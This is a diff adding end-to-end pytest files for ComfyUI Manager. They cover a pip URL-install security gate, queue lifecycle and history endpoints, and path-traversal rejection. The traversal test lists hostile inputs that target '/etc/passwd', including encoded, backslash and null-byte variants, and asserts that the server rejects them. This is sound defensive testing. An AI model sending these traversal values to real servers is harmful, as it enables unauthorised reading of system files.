log = deny_post_record["log_slice_after"]
|
||||
assert "allow_pip_install" in log, (
|
||||
"deny arm: denial log does not name allow_pip_install "
|
||||
f"(SECURITY_MESSAGE_FLAG_PIP). Slice:\n{log[-1500:]}"
|
||||
)
|
||||
assert "security level to 'normal-'" not in log, (
|
||||
"deny arm: denial log still carries the misleading "
|
||||
"security-level copy (SECURITY_MESSAGE_NORMAL_MINUS)."
|
||||
)
|
||||
|
||||
|
||||
# ===========================================================================
|
||||
# INSTALL arm — flag=true, security_level=strong (strong proves allow-side
|
||||
# decoupling; goal299-spec.md §1.3 TestPipUrlFormInstall)
|
||||
# ===========================================================================
|
||||
|
||||
comfyui_pip_url_install = _make_flags_server_fixture(False, True, "strong")
|
||||
|
||||
|
||||
@pytest.mark.network
|
||||
class TestPipUrlFormInstall:
|
||||
"""Full deferred-install round trip (mm §2 observable-outcome table):
|
||||
POST 200 = gate-pass + reservation (NOT installation) -> restart
|
||||
executes the reserved `uv pip install -U git+...` at prestartup
|
||||
-> fixture module imports with the expected MARKER in the isolated
|
||||
venv -> self-clean -> absent.
|
||||
|
||||
Asserting importability right after the 200 would be a guaranteed
|
||||
false-FAIL (mm §2 note) — the restart between POST and the import
|
||||
assertion is the production execution path (addendum §4.1)."""
|
||||
|
||||
@pytest.fixture(scope="class", autouse=True)
|
||||
def _network_guard(self):
|
||||
if not _github_reachable():
|
||||
pytest.skip("offline: github.com unreachable — install arm "
|
||||
"requires network (deny arm unaffected)")
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _self_clean(self):
|
||||
"""Teardown runs even on failure (spec §1.3 step 6): uninstall the
|
||||
dist, strip any residual reservation line (addendum R8), and prove
|
||||
the venv is back to baseline (import fails again)."""
|
||||
yield
|
||||
_uninstall_fixture()
|
||||
_strip_fixture_reservation()
|
||||
assert _venv_fixture_probe().returncode != 0, (
|
||||
f"self-clean: {FIXTURE_MODULE} is still importable in the E2E "
|
||||
f"venv after `uv pip uninstall {FIXTURE_DIST}` — venv NOT "
|
||||
f"restored to baseline."
|
||||
)
|
||||
|
||||
def test_url_form_install_end_to_end(self, comfyui_pip_url_install):
|
||||
# Step 1 — pre-guard (idempotency, spec §1.3 step 1): a previous
|
||||
# aborted run must not turn this into a false-PASS.
|
||||
_uninstall_fixture()
|
||||
_strip_fixture_reservation()
|
||||
assert _venv_fixture_probe().returncode != 0, (
|
||||
f"pre-guard: {FIXTURE_MODULE} already importable before the "
|
||||
f"test — uninstall guard failed; venv not at baseline."
|
||||
)
|
||||
|
||||
# Step 2 — POST the URL-form argument; 200 = gate-pass +
|
||||
# reservation under the deferred-execution semantics (mm §1).
|
||||
resp = _post_pip(FIXTURE_URL)
|
||||
assert resp.status_code == 200, (
|
||||
f"install arm: expected 200 (allow_pip_install=true overrides "
|
||||
f"sl=strong), got {resp.status_code} — allow-side decoupling "
|
||||
f"broken for the URL-form argument."
|
||||
)
|
||||
|
||||
# Step 3 — reservation entry: a Python-list-repr line containing
|
||||
# the fixture URL substring (producer reserve_script,
|
||||
# legacy/manager_core.py:1836-1843; precedent assertion shape
|
||||
# test_e2e_legacy_real_ops.py:516-538). NOT a shell-string match.
|
||||
state = _scripts_state()
|
||||
assert state != "ABSENT", (
|
||||
"install arm: install-scripts.txt missing after 200 — "
|
||||
"no reservation was written."
|
||||
)
|
||||
fixture_lines = [ln for ln in state.splitlines() if FIXTURE_URL in ln]
|
||||
assert fixture_lines, (
|
||||
f"install arm: no reservation line contains {FIXTURE_URL!r}.\n"
|
||||
f"file content:\n{state}"
|
||||
)
|
||||
reserved = ast.literal_eval(fixture_lines[0])
|
||||
assert isinstance(reserved, list) and "#FORCE" in reserved, (
|
||||
f"install arm: reservation line is not the expected "
|
||||
f"['..', '#FORCE', <pip cmd>...] list-repr shape: {reserved!r}"
|
||||
)
|
||||
|
||||
# Step 4 — restart: the production execution path for the
|
||||
# reservation (prestartup_script.py:485 consumes the file at
|
||||
# server start). Budget rationale at RESTART_BUDGET_S — the
|
||||
# owned zero-dep fixture installs in seconds; the budget covers
|
||||
# the plain server boot, no build env vars needed (goal329
|
||||
# retired the CUDA-build determinism knob with the heavy
|
||||
# upstream package).
|
||||
_stop_legacy()
|
||||
_start_legacy_install({}, shell_timeout=RESTART_BUDGET_S)
|
||||
|
||||
# Step 5 — post-restart: reservation CONSUMED (prestartup removes
|
||||
# the processed file) and the fixture REALLY importable in the
|
||||
# venv, proven by its MARKER value (stronger than bare import:
|
||||
# the marker ties the import to the owned fixture's content).
|
||||
post_state = _scripts_state()
|
||||
assert post_state == "ABSENT" or FIXTURE_URL not in post_state, (
|
||||
f"install arm: reservation NOT consumed by the restart — "
|
||||
f"install-scripts.txt still references the fixture:\n{post_state}"
|
||||
)
|
||||
probe = _venv_fixture_probe()
|
||||
assert probe.returncode == 0, (
|
||||
f"install arm: `import {FIXTURE_MODULE}` still fails in the "
|
||||
f"E2E venv after the reservation-executing restart — install "
|
||||
f"did not happen or did not target the venv.\n"
|
||||
f"stderr:\n{probe.stderr[-500:]}"
|
||||
)
|
||||
assert FIXTURE_MARKER in probe.stdout, (
|
||||
f"install arm: fixture imported but MARKER mismatch — "
|
||||
f"expected {FIXTURE_MARKER!r} in stdout, got: {probe.stdout!r}"
|
||||
)
|
||||
# Version breadcrumb for triage (owned repo, so drift risk is
|
||||
# retired — the breadcrumb now just documents what was installed).
|
||||
show = subprocess.run(
|
||||
[VENV_UV, "pip", "show", FIXTURE_DIST, "--python", VENV_PY],
|
||||
capture_output=True, text=True, timeout=60,
|
||||
)
|
||||
print(f"\n[goal329 install-evidence] uv pip show {FIXTURE_DIST}:\n"
|
||||
f"{show.stdout}")
|
||||
@@ -0,0 +1,561 @@
|
||||
"""E2E tests for ComfyUI Manager queue lifecycle endpoints.
|
||||
|
||||
Exercises the queue management endpoints on a running ComfyUI instance:
|
||||
- GET /v2/manager/queue/status — queue status JSON
|
||||
- GET /v2/manager/queue/history — task history (filterable)
|
||||
- GET /v2/manager/queue/history_list — batch history IDs
|
||||
- POST /v2/manager/queue/reset — reset queue
|
||||
- POST /v2/manager/queue/start — start processing
|
||||
|
||||
Scenario:
|
||||
reset → verify clean status → queue a task → start → wait for
|
||||
completion → check history → verify history_list → reset → verify
|
||||
status returns to clean state.
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
Set E2E_ROOT env var to point at it, or the tests will be skipped.
|
||||
|
||||
Usage:
|
||||
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_queue_lifecycle.py -v
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
HISTORY_DIR = (
|
||||
os.path.join(COMFYUI_PATH, "user", "__manager", "batch_history")
|
||||
if COMFYUI_PATH
|
||||
else ""
|
||||
)
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
# Polling configuration
|
||||
POLL_TIMEOUT = 30
|
||||
POLL_INTERVAL = 0.5
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_comfyui() -> int:
|
||||
"""Start ComfyUI and return its PID."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI:\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID from start_comfyui output:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
"""Stop ComfyUI."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
def _wait_for(predicate, timeout=POLL_TIMEOUT, interval=POLL_INTERVAL):
|
||||
"""Poll *predicate* until it returns True or *timeout* seconds elapse."""
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
if predicate():
|
||||
return True
|
||||
time.sleep(interval)
|
||||
return False
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui():
|
||||
"""Start ComfyUI once for the module, stop after all tests."""
|
||||
pid = _start_comfyui()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestQueueLifecycle:
|
||||
"""Queue management lifecycle: reset → status → task → start → history."""
|
||||
|
||||
def test_reset_queue(self, comfyui):
|
||||
"""POST /v2/manager/queue/reset returns 200 AND all queue counts are zeroed.
|
||||
|
||||
WI-L strengthening: previously status-only. Now verifies the post-reset
|
||||
status payload reports a fully-quiescent queue. `wipe_queue()` only
|
||||
clears `pending_tasks` unconditionally (see manager_server.py:396-403),
|
||||
but at the start of this module-scoped fixture no task has been run, so
|
||||
all counts — pending / in_progress / total / done / is_processing —
|
||||
must be 0/False. Any non-zero count here would indicate a leak from an
|
||||
earlier test module or a reset-handler regression.
|
||||
"""
|
||||
resp = requests.post(f"{BASE_URL}/v2/manager/queue/reset", timeout=10)
|
||||
assert resp.status_code == 200, (
|
||||
f"Queue reset failed with status {resp.status_code}"
|
||||
)
|
||||
status = requests.get(f"{BASE_URL}/v2/manager/queue/status", timeout=10)
|
||||
assert status.status_code == 200
|
||||
data = status.json()
|
||||
assert data["pending_count"] == 0, (
|
||||
f"pending_count != 0 after reset: {data['pending_count']}"
|
||||
)
|
||||
assert data["in_progress_count"] == 0, (
|
||||
f"in_progress_count != 0 after reset: {data['in_progress_count']}"
|
||||
)
|
||||
assert data["total_count"] == 0, (
|
||||
f"total_count != 0 after reset: {data['total_count']}"
|
||||
)
|
||||
assert data["done_count"] == 0, (
|
||||
f"done_count != 0 after reset (fresh module): {data['done_count']}"
|
||||
)
|
||||
assert data["is_processing"] is False, (
|
||||
f"is_processing should be False after reset, got {data['is_processing']!r}"
|
||||
)
|
||||
|
||||
def test_status_with_client_id_filter(self, comfyui):
|
||||
"""GET /v2/manager/queue/status?client_id=X returns client-scoped counts."""
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/queue/status",
|
||||
params={"client_id": "e2e-queue-test"},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
data = resp.json()
|
||||
|
||||
assert data["client_id"] == "e2e-queue-test", (
|
||||
f"Expected client_id echo, got {data.get('client_id')}"
|
||||
)
|
||||
assert "total_count" in data, "Filtered response missing 'total_count'"
|
||||
assert "pending_count" in data, "Filtered response missing 'pending_count'"
|
||||
|
||||
def test_start_queue_already_idle(self, comfyui):
|
||||
"""POST /v2/manager/queue/start on empty queue returns 200 or 201 AND worker stabilizes to idle.
|
||||
|
||||
WI-L strengthening: previously status-only. The contract:
|
||||
- 200 = worker thread newly started; on empty queue it finds no work,
|
||||
calls `task_queue.finalize()` no-op (done_count==0), and exits.
|
||||
- 201 = worker already alive; same stabilization expected.
|
||||
In either case the post-condition is: pending==0, in_progress==0,
|
||||
is_processing eventually False (worker exits within a few seconds
|
||||
when there's nothing to do). This defeats a regression where
|
||||
`start_worker()` accidentally spawns a hot-loop that never exits.
|
||||
"""
|
||||
# Ensure idle baseline (pending empty before start).
|
||||
requests.post(f"{BASE_URL}/v2/manager/queue/reset", timeout=10)
|
||||
pre = requests.get(f"{BASE_URL}/v2/manager/queue/status", timeout=10).json()
|
||||
assert pre["pending_count"] == 0, (
|
||||
f"Pre-condition: pending_count must be 0 before idle-start test, got {pre['pending_count']}"
|
||||
)
|
||||
|
||||
resp = requests.post(f"{BASE_URL}/v2/manager/queue/start", timeout=10)
|
||||
assert resp.status_code in (200, 201), (
|
||||
f"Queue start returned unexpected status {resp.status_code}"
|
||||
)
|
||||
|
||||
# Worker observation: either it never flipped (201 + already-idle worker
|
||||
# that stays idle) or it flipped True→False (200 + brief run). Poll
|
||||
# until is_processing is False with stable pending/in_progress==0.
|
||||
deadline = time.monotonic() + 10.0
|
||||
final = None
|
||||
while time.monotonic() < deadline:
|
||||
r = requests.get(f"{BASE_URL}/v2/manager/queue/status", timeout=5)
|
||||
if r.status_code == 200:
|
||||
final = r.json()
|
||||
if (
|
||||
final["pending_count"] == 0
|
||||
and final["in_progress_count"] == 0
|
||||
and final["is_processing"] is False
|
||||
):
|
||||
break
|
||||
time.sleep(0.3)
|
||||
assert final is not None, "queue/status never returned 200 during poll"
|
||||
assert final["pending_count"] == 0, (
|
||||
f"pending_count non-zero after start on empty queue: {final['pending_count']}"
|
||||
)
|
||||
assert final["in_progress_count"] == 0, (
|
||||
f"in_progress_count non-zero after start on empty queue: {final['in_progress_count']}"
|
||||
)
|
||||
assert final["is_processing"] is False, (
|
||||
f"worker did not stabilize to idle within 10s: is_processing={final['is_processing']!r} — "
|
||||
f"possible hot-loop regression in start_worker() / task_worker"
|
||||
)
|
||||
|
||||
def test_queue_task_and_history(self, comfyui):
|
||||
"""Full lifecycle: queue task → start → wait → verify history."""
|
||||
# Reset to clean slate. Note: reset wipes pending/running but not
|
||||
# file-based batch history, so we track completion by our OWN ui_id
|
||||
# rather than a global done_count which can reflect unrelated tasks.
|
||||
requests.post(f"{BASE_URL}/v2/manager/queue/reset", timeout=10)
|
||||
|
||||
UI_ID = "e2e-queue-lifecycle"
|
||||
# Queue a lightweight task (install a small CNR package)
|
||||
task_payload = {
|
||||
"ui_id": UI_ID,
|
||||
"client_id": UI_ID,
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "ComfyUI_SigmoidOffsetScheduler",
|
||||
"version": "1.0.1",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default",
|
||||
},
|
||||
}
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/manager/queue/task",
|
||||
json=task_payload,
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Queue task failed with status {resp.status_code}: {resp.text}"
|
||||
)
|
||||
|
||||
# Start processing
|
||||
resp = requests.post(f"{BASE_URL}/v2/manager/queue/start", timeout=10)
|
||||
assert resp.status_code in (200, 201), (
|
||||
f"Queue start failed with status {resp.status_code}"
|
||||
)
|
||||
|
||||
# Wait for OUR task to complete: status.pending_count filtered by
|
||||
# this client_id drops to 0 AND is_processing for our client is false.
|
||||
# This avoids the global-done_count race from stale history.
|
||||
def _our_task_completed():
|
||||
r = requests.get(
|
||||
f"{BASE_URL}/v2/manager/queue/status",
|
||||
params={"client_id": UI_ID},
|
||||
timeout=10,
|
||||
)
|
||||
if r.status_code != 200:
|
||||
return False
|
||||
d = r.json()
|
||||
return (
|
||||
d.get("pending_count", 1) == 0
|
||||
and d.get("in_progress_count", 1) == 0
|
||||
and d.get("done_count", 0) >= 1
|
||||
)
|
||||
|
||||
assert _wait_for(_our_task_completed, timeout=120), (
|
||||
"Our queued task did not complete within timeout"
|
||||
)
|
||||
|
||||
# Check history. If the server returns 400, it is the known
|
||||
# TaskHistoryItem serialization bug — surface it via pytest.skip
|
||||
# with a specific reason rather than silently passing, so the bug
|
||||
# remains visible.
|
||||
resp = requests.get(f"{BASE_URL}/v2/manager/queue/history", timeout=10)
|
||||
# Server-side fix: TaskHistoryItem now serializes via model_dump(mode='json').
|
||||
# Any 400 is a genuine failure, not a tolerated server bug.
|
||||
assert resp.status_code == 200, (
|
||||
f"Queue history unexpected status {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert "history" in data, "History response missing 'history' field"
|
||||
|
||||
def test_history_with_ui_id_filter(self, comfyui):
|
||||
"""GET /v2/manager/queue/history?ui_id=X returns entries matching the filter.
|
||||
|
||||
WI-T Cluster C target 1: previously 200-or-400-accept without filter-
|
||||
semantic check. Now asserts:
|
||||
- 200 OK
|
||||
- response contains 'history' field (dict)
|
||||
- every returned entry's ui_id actually matches the filter value.
|
||||
|
||||
Seed strategy: query unfiltered first — if history is non-empty, pick
|
||||
an existing ui_id; otherwise enqueue + wait on a lightweight install
|
||||
to seed one. Defeats regressions where the server accepts the ui_id
|
||||
param but returns the full unfiltered history.
|
||||
"""
|
||||
# Discover an existing ui_id via unfiltered call; seed if empty.
|
||||
all_resp = requests.get(f"{BASE_URL}/v2/manager/queue/history", timeout=10)
|
||||
assert all_resp.status_code == 200, (
|
||||
f"Unfiltered history unexpected status {all_resp.status_code}: {all_resp.text[:200]}"
|
||||
)
|
||||
all_history = all_resp.json().get("history", {})
|
||||
|
||||
def _extract_ui_ids(h):
|
||||
"""Shape-resilient ui_id extractor (WI-P pattern)."""
|
||||
if isinstance(h, dict):
|
||||
# Either {ui_id: task_data} map or a single task-dict with 'ui_id'
|
||||
if "ui_id" in h and ("kind" in h or "params" in h):
|
||||
uid = h.get("ui_id")
|
||||
return [uid] if uid is not None else []
|
||||
return list(h.keys())
|
||||
if isinstance(h, list):
|
||||
return [e.get("ui_id") for e in h if isinstance(e, dict) and "ui_id" in e]
|
||||
return []
|
||||
|
||||
ids = _extract_ui_ids(all_history) if isinstance(all_history, (dict, list)) else []
|
||||
if ids:
|
||||
target_ui_id = ids[0]
|
||||
else:
|
||||
# Seed a lightweight install so the filter has a target.
|
||||
target_ui_id = "e2e-hist-filter-seed"
|
||||
seed_payload = {
|
||||
"ui_id": target_ui_id,
|
||||
"client_id": target_ui_id,
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "ComfyUI_SigmoidOffsetScheduler",
|
||||
"version": "1.0.1",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default",
|
||||
},
|
||||
}
|
||||
r = requests.post(f"{BASE_URL}/v2/manager/queue/task", json=seed_payload, timeout=10)
|
||||
assert r.status_code == 200, f"seed queue/task failed: {r.status_code} {r.text[:200]}"
|
||||
r = requests.post(f"{BASE_URL}/v2/manager/queue/start", timeout=10)
|
||||
assert r.status_code in (200, 201), f"seed queue/start failed: {r.status_code}"
|
||||
|
||||
def _seed_done():
|
||||
s = requests.get(
|
||||
f"{BASE_URL}/v2/manager/queue/status",
|
||||
params={"client_id": target_ui_id},
|
||||
timeout=5,
|
||||
)
|
||||
if s.status_code != 200:
|
||||
return False
|
||||
d = s.json()
|
||||
return (
|
||||
d.get("pending_count", 1) == 0
|
||||
and d.get("in_progress_count", 1) == 0
|
||||
and d.get("done_count", 0) >= 1
|
||||
)
|
||||
|
||||
assert _wait_for(_seed_done, timeout=120), (
|
||||
"seed task for ui_id filter did not complete within timeout"
|
||||
)
|
||||
|
||||
# Filter request (action under test)
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/queue/history",
|
||||
params={"ui_id": target_ui_id},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Filtered history unexpected status {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert "history" in data, "Filtered history response missing 'history' field"
|
||||
|
||||
# Filter semantics: every returned entry must match target_ui_id.
|
||||
returned_ids = _extract_ui_ids(data["history"])
|
||||
assert returned_ids, (
|
||||
f"filter for ui_id={target_ui_id!r} returned empty; "
|
||||
f"unfiltered showed ids={ids!r}"
|
||||
)
|
||||
for uid in returned_ids:
|
||||
assert uid == target_ui_id, (
|
||||
f"filter leaked other ui_id: got {uid!r}, expected {target_ui_id!r} "
|
||||
f"(full response ids={returned_ids!r})"
|
||||
)
|
||||
|
||||
def test_history_with_pagination(self, comfyui):
|
||||
"""GET /v2/manager/queue/history honors max_items + offset consistently.
|
||||
|
||||
WI-T Cluster C target 2: previously only checked the cap (max_items=1).
|
||||
Now also verifies:
|
||||
- unfiltered total is stable (reference count N),
|
||||
- max_items=1 → len ≤ 1 (cap),
|
||||
- max_items ≥ N → len == N (no silent truncation),
|
||||
- when N ≥ 2: offset=0 and offset=1 return different keys
|
||||
(offset actually advances through the list).
|
||||
"""
|
||||
# Reference: full unfiltered count
|
||||
full_resp = requests.get(f"{BASE_URL}/v2/manager/queue/history", timeout=10)
|
||||
assert full_resp.status_code == 200, (
|
||||
f"Unfiltered history unexpected status {full_resp.status_code}"
|
||||
)
|
||||
full_history = full_resp.json().get("history", {})
|
||||
assert isinstance(full_history, dict), (
|
||||
f"expected dict for unfiltered history, got {type(full_history).__name__}"
|
||||
)
|
||||
full_n = len(full_history)
|
||||
|
||||
# (1) Cap: max_items=1 → ≤1 entry
|
||||
r1 = requests.get(
|
||||
f"{BASE_URL}/v2/manager/queue/history",
|
||||
params={"max_items": "1", "offset": "0"},
|
||||
timeout=10,
|
||||
)
|
||||
assert r1.status_code == 200, (
|
||||
f"Paginated history unexpected status {r1.status_code}: {r1.text[:200]}"
|
||||
)
|
||||
h1 = r1.json().get("history", {})
|
||||
assert isinstance(h1, dict), f"expected dict, got {type(h1).__name__}"
|
||||
assert len(h1) <= 1, (
|
||||
f"Pagination cap violated: max_items=1 but got {len(h1)} entries"
|
||||
)
|
||||
|
||||
# (2) Large max_items returns everything available (no silent truncation)
|
||||
large_cap = max(full_n, 1) + 100
|
||||
r_all = requests.get(
|
||||
f"{BASE_URL}/v2/manager/queue/history",
|
||||
params={"max_items": str(large_cap), "offset": "0"},
|
||||
timeout=10,
|
||||
)
|
||||
assert r_all.status_code == 200
|
||||
h_all = r_all.json().get("history", {})
|
||||
assert isinstance(h_all, dict)
|
||||
assert len(h_all) == full_n, (
|
||||
f"Pagination inconsistency: unfiltered={full_n} entries, "
|
||||
f"max_items={large_cap} returned {len(h_all)}"
|
||||
)
|
||||
|
||||
# (3) Offset progression (only when ≥2 entries exist)
|
||||
if full_n >= 2:
|
||||
r_off0 = requests.get(
|
||||
f"{BASE_URL}/v2/manager/queue/history",
|
||||
params={"max_items": "1", "offset": "0"},
|
||||
timeout=10,
|
||||
).json().get("history", {})
|
||||
r_off1 = requests.get(
|
||||
f"{BASE_URL}/v2/manager/queue/history",
|
||||
params={"max_items": "1", "offset": "1"},
|
||||
timeout=10,
|
||||
).json().get("history", {})
|
||||
if r_off0 and r_off1:
|
||||
assert set(r_off0.keys()) != set(r_off1.keys()), (
|
||||
f"offset progression failed: offset=0 keys={list(r_off0.keys())!r} == "
|
||||
f"offset=1 keys={list(r_off1.keys())!r}"
|
||||
)
|
||||
|
||||
def test_history_list(self, comfyui):
|
||||
"""GET /v2/manager/queue/history_list returns batch IDs matching disk state.
|
||||
|
||||
WI-T Cluster C target 3: previously shape-only. Now cross-references
|
||||
the API response against the filesystem batch_history directory —
|
||||
Manager stores one JSON file per batch under user/__manager/batch_history/,
|
||||
and the handler returns their basenames (without .json) sorted by mtime.
|
||||
API ∩ FS must be equal: no phantom ids, no missing ids.
|
||||
"""
|
||||
# API
|
||||
resp = requests.get(f"{BASE_URL}/v2/manager/queue/history_list", timeout=10)
|
||||
assert resp.status_code == 200, (
|
||||
f"History list failed with status {resp.status_code}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert "ids" in data, "History list response missing 'ids' field"
|
||||
api_ids = data["ids"]
|
||||
assert isinstance(api_ids, list), (
|
||||
f"'ids' should be a list, got {type(api_ids)}"
|
||||
)
|
||||
|
||||
# Filesystem cross-reference
|
||||
if not os.path.isdir(HISTORY_DIR):
|
||||
# If dir absent, API must also be empty (no phantom entries).
|
||||
assert not api_ids, (
|
||||
f"API returned {len(api_ids)} ids but {HISTORY_DIR} does not exist"
|
||||
)
|
||||
return
|
||||
|
||||
fs_ids = {
|
||||
f[:-5]
|
||||
for f in os.listdir(HISTORY_DIR)
|
||||
if f.endswith(".json")
|
||||
and os.path.isfile(os.path.join(HISTORY_DIR, f))
|
||||
}
|
||||
api_id_set = set(api_ids)
|
||||
assert api_id_set == fs_ids, (
|
||||
f"API history_list diverges from filesystem:\n"
|
||||
f" only-in-api={api_id_set - fs_ids}\n"
|
||||
f" only-on-fs ={fs_ids - api_id_set}\n"
|
||||
f" HISTORY_DIR={HISTORY_DIR}"
|
||||
)
|
||||
|
||||
def test_history_path_traversal_rejected(self, comfyui):
|
||||
"""GET /v2/manager/queue/history with path-traversal id is rejected.
|
||||
|
||||
Security boundary: id must stay within manager_batch_history_path.
|
||||
Defense in depth:
|
||||
1. 400 status (server rejects the request)
|
||||
2. Response body contains no file content (leak check)
|
||||
3. Sentinel file outside the history dir is NOT read/touched
|
||||
4. Multiple traversal variants (bare, encoded, backslash, absolute)
|
||||
"""
|
||||
import pathlib
|
||||
# Sentinel in E2E_ROOT — target with various traversal encodings
|
||||
sentinel = pathlib.Path(E2E_ROOT) / "_history_sentinel_must_not_read.txt"
|
||||
sentinel_content = "sentinel-content-secret-xyz-12345"
|
||||
sentinel.write_text(sentinel_content)
|
||||
|
||||
try:
|
||||
traversal_ids = [
|
||||
"../../../etc/passwd",
|
||||
"../../secret",
|
||||
"/etc/passwd",
|
||||
# Sentinel-targeted variants (would reach _history_sentinel... if traversal works)
|
||||
"../../../_history_sentinel_must_not_read",
|
||||
"../../_history_sentinel_must_not_read",
|
||||
# URL-encoded traversal
|
||||
"%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
||||
"%2e%2e/etc/passwd",
|
||||
# Backslash (Windows-style)
|
||||
"..\\..\\etc\\passwd",
|
||||
# Null byte injection attempt (classic bypass)
|
||||
"legit_id\x00/../../etc/passwd",
|
||||
]
|
||||
for bad_id in traversal_ids:
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/queue/history",
|
||||
params={"id": bad_id},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
f"Path traversal id {bad_id!r} should return 400, got {resp.status_code}"
|
||||
)
|
||||
# Content leak check — no /etc/passwd OR sentinel leaked
|
||||
body = resp.text
|
||||
assert "root:" not in body, (
|
||||
f"Traversal id {bad_id!r} leaked /etc/passwd content"
|
||||
)
|
||||
assert sentinel_content not in body, (
|
||||
f"Traversal id {bad_id!r} leaked sentinel file content — "
|
||||
f"path traversal actually succeeded!"
|
||||
)
|
||||
|
||||
# Sentinel file must still exist (no accidental writes/deletes via traversal)
|
||||
assert sentinel.exists(), "Sentinel file was deleted — traversal side-effect!"
|
||||
assert sentinel.read_text() == sentinel_content, (
|
||||
"Sentinel file was modified — traversal side-effect!"
|
||||
)
|
||||
finally:
|
||||
sentinel.unlink(missing_ok=True)
|
||||
@@ -0,0 +1,140 @@
|
||||
"""E2E demonstration that the high+ T2 SECGATE-PENDING Goals are testable
|
||||
at the DEFAULT security_level=normal — no strict-mode harness needed.
|
||||
|
||||
WI-KK research finding (see decision-trail wi-kk-t2-secgate-harness-...):
|
||||
The 8 T2 SECGATE-PENDING Goals listed in reports/e2e_verification_audit.md
|
||||
were assumed to all need a restricted-security-level harness. After reading
|
||||
comfyui_manager/glob/utils/security_utils.py:14-40 the actual gate semantics
|
||||
become clear:
|
||||
|
||||
- is_local_mode = is_loopback(args.listen) → True for our 127.0.0.1 setup
|
||||
- For Risk=high+: returns True iff security_level in [WEAK, NORMAL_]
|
||||
- The default normal IS NOT in that set → high+ operations return False → 403
|
||||
|
||||
So the high+ Goals are ALREADY 403-testable at default config:
|
||||
- CV4 (comfyui_switch_version) ← THIS file proves it
|
||||
- IM4 (install_model non-safetensors) ← deferred (see note below)
|
||||
- LGU2 (customnode/install/git_url) ← deferred (legacy-only endpoint)
|
||||
- LPP2 (customnode/install/pip) ← deferred (legacy-only endpoint)
|
||||
|
||||
CV4 is the cleanest demonstration: it is registered in glob and has a
|
||||
synchronous is_allowed_security_level('high+') guard at
|
||||
comfyui_manager/glob/manager_server.py:1856 that returns 403 directly.
|
||||
|
||||
Goals deferred to follow-up WIs (with notes for the audit-reflect WI):
|
||||
- IM4: the non-safetensors check happens DEEP in the install pipeline (in
|
||||
get_risky_level + the worker), not at the HTTP handler. There is NO
|
||||
synchronous 403 from POST /v2/manager/queue/install_model — the handler
|
||||
accepts the JSON and queues a task; rejection only surfaces during task
|
||||
execution. This requires a queue-observation test pattern, not a simple
|
||||
HTTP 403 check.
|
||||
- LGU2 / LPP2: registered ONLY in legacy/manager_server.py (1502, 1522),
|
||||
not in glob. Testing them requires the legacy fixture
|
||||
(start_comfyui_legacy.sh) — fits naturally into a follow-up
|
||||
test_e2e_secgate_legacy_default.py module.
|
||||
|
||||
This file therefore demonstrates the harness-not-needed insight with the
|
||||
single Goal where it cleanly applies (CV4) and documents the audit-reflect
|
||||
implications inline.
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
